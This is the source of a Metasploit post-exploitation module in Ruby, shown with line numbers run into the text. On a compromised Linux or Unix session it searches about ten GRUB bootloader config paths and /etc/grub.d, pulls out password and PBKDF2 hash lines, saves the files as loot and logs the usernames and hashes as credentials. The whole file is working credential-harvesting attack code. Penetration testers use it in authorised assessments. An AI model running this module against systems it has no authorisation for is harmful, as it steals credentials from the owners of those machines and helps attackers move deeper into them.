Path: blob/master/modules/post/multi/gather/grub_creds.rb
19813 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Unix89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Gather GRUB Password',14'Description' => %q{15This module gathers GRUB passwords from GRUB bootloader config files.16},17'License' => MSF_LICENSE,18'Author' => [19'Garvit Dewan <d.garvit[at]gmail.com>', # @dgarvit20'Taeber Rapczak <taeber[at]rapczak.com>',21'Shelby Pace'22],23'Platform' => ['linux', 'osx', 'unix', 'solaris', 'bsd'],24'SessionTypes' => ['meterpreter', 'shell'],25'References' => [ ['URL', 'https://help.ubuntu.com/community/Grub2/Passwords#Password_Encryption'] ],26'Notes' => {27'Stability' => [CRASH_SAFE],28'SideEffects' => [],29'Reliability' => []30}31)32)3334register_options(35[36OptString.new(37'FILENAME',38[false, 'Additional grub configuration filename.', '']39),40]41)42end4344def parse_passwd_from_file(file)45return unless readable?(file)4647print_status("Reading #{file}")4849idx = 050contents = read_file(file)51have_pass = false52contents.each_line do |line|53next unless line.start_with?('password')5455have_pass = true56pass_line = line.strip.split(' ')57unless pass_line.length == 358print_status('Unknown Grub password convention. Printing line')59print_status(line)60next61end6263convention = pass_line[0]64case convention65when 'password_pbkdf2'66@creds_hash[pass_line[1]] = pass_line[2]67when 'password'68if pass_line[1].start_with?('--')69@pass_hash[idx] = pass_line[2]70idx += 171else72@creds_hash[pass_line[1]] = pass_line[2]73end74else75print_status('Unknown Grub password convention. Printing line')76print_status(line)77end78end7980if have_pass81file_loc = store_loot('grub.config', 'text/plain', session, contents)82print_good("#{file} saved to #{file_loc}")83end84end8586def run87@creds_hash = Hash.new88@pass_hash = Hash.new8990targets = %w[91/boot/grub/grub.conf92/boot/grub/grub.cfg93/boot/grub/menu.lst94/boot/grub2/grub.cfg95/boot/grub2/user.cfg96/etc/grub.conf97/etc/grub/grub.cfg98/mnt/sysimage/boot/grub.conf99/mnt/boot/grub/grub.conf100/rpool/boot/grub/grub.cfg101]102103targets << datastore['FILENAME'] unless datastore['FILENAME'].empty?104dir('/etc/grub.d').each do |file|105path = '/etc/grub.d/' + file106targets << path if file?(path)107end108109print_status('Searching for GRUB config files..')110targets.each do |target|111parse_passwd_from_file(target)112end113114if @creds_hash.empty? && @pass_hash.empty?115print_bad('No passwords found in GRUB config files')116else117print_good('Found credentials')118119cred_table = Rex::Text::Table.new(120'Header' => 'Grub Credential Table',121'Indent' => 1,122'Columns' => [ 'Username', 'Password' ]123)124125@creds_hash.each do |user, pass|126credential_data = {127origin_type: :session,128post_reference_name: refname,129private_type: :nonreplayable_hash,130private_data: pass,131session_id: session_db_id,132username: user,133workspace_id: myworkspace_id134}135136cred_table << [ user, pass ]137create_credential(credential_data)138end139140@pass_hash.each_value do |pass|141credential_data = {142origin_type: :session,143post_reference_name: refname,144private_type: :nonreplayable_hash,145private_data: pass,146session_id: session_db_id,147username: '',148workspace_id: myworkspace_id149}150151cred_table << [ '', pass ]152create_credential(credential_data)153end154155print_line156print_line(cred_table.to_s)157end158end159end160161162